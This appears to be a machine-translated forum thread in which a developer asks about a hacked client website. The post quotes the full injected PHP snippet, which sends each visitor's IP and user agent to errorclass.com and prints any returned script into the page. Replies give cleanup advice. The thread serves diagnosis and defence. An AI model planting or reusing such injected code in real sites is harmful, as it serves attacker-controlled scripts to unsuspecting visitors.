我们接到客户的电话,说他们的网站被打破了,只会部分加载。查看网站上的代码时,我发现了此片段:
<?php
#9da223#
error_reporting(0);
ini_set('display_errors',0);
$wp_nht097 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097)
&& !preg_match ('/bot/i', $wp_nht097))) {
$wp_nht09097 =
"http://" . "error" . "class" . ".com/class" . "/?ip=".$_SERVER['REMOTE_ADDR']
."& referer=" . urlencode($_SERVER['HTTP_HOST'])
."&ua=" . urlencode($wp_nht097);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$wp_nht09097);
curl_setopt($ch, CURLOPT_TIMEOUT, 6);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_097nht = curl_exec ($ch);
curl_close($ch);
}
if ( substr($wp_097nht,1,3) === 'scr' ){
echo $wp_097nht;
}
#/9da223#
?>
由于上述代码中的一个" curl _"函数在一个" curl _"函数上的功能不确定,因此该站点停止工作。
根据我可以收集的内容,它试图从errorclass.com获取内容,沿域,用户IP和用户代理传递,并在响应中寻找脚本标签,如果找到一个标签,它将打印响应到文档。
我试图查看所要求的内容,但目前该站点似乎只返回一个完全空的文档。
域追溯到中国,与该领域相关的IP地址转移到荷兰。
有人以前看到过类似的东西吗?
客户端在同一家服务器上托管其他各种站点,而且似乎都没有受到损害。
编辑:
我挖了一个托管的站点,看来其中几个被妥协了。原始网站不是WordPress站点,而是另一个网站。看来某种形式的机器人进行了编辑,因为上周二(1月21日)在同一时间(1月21日)进行了编辑。
在我们在客户端选择的服务器上安装后,我们提供的所有站点都可以使客户完全控制。因此,为什么我们花了一些时间才能意识到这个问题。
它是"病毒",还有许多其他代码注射。这是一个常见的问题,一旦我将整个专用服务器填充了类似的代码。我建议您备份受感染的文件并删除代码的可疑部分。请注意,您很可能还感染了其他PHP/HTML文件,因此请在托管文件上进行整个搜索。
(这应该是评论 - 但有点长)
有人以前看到过类似的东西吗?
任何一个以"是"为"是"的人都会像您一样困惑。
这个问题的目的是什么?
现在有更重要,紧急和有趣的问题要问。
最重要的是:
-
这是怎么发生的?
-
您为什么不早就知道?
(顺便说一句:对已经说过的各个人,并会说"从最后一个已知的好备份中恢复" - 这很明显。很难知道什么是好的备份 - 这是没有脆弱性的最后一个最后一个没有症状)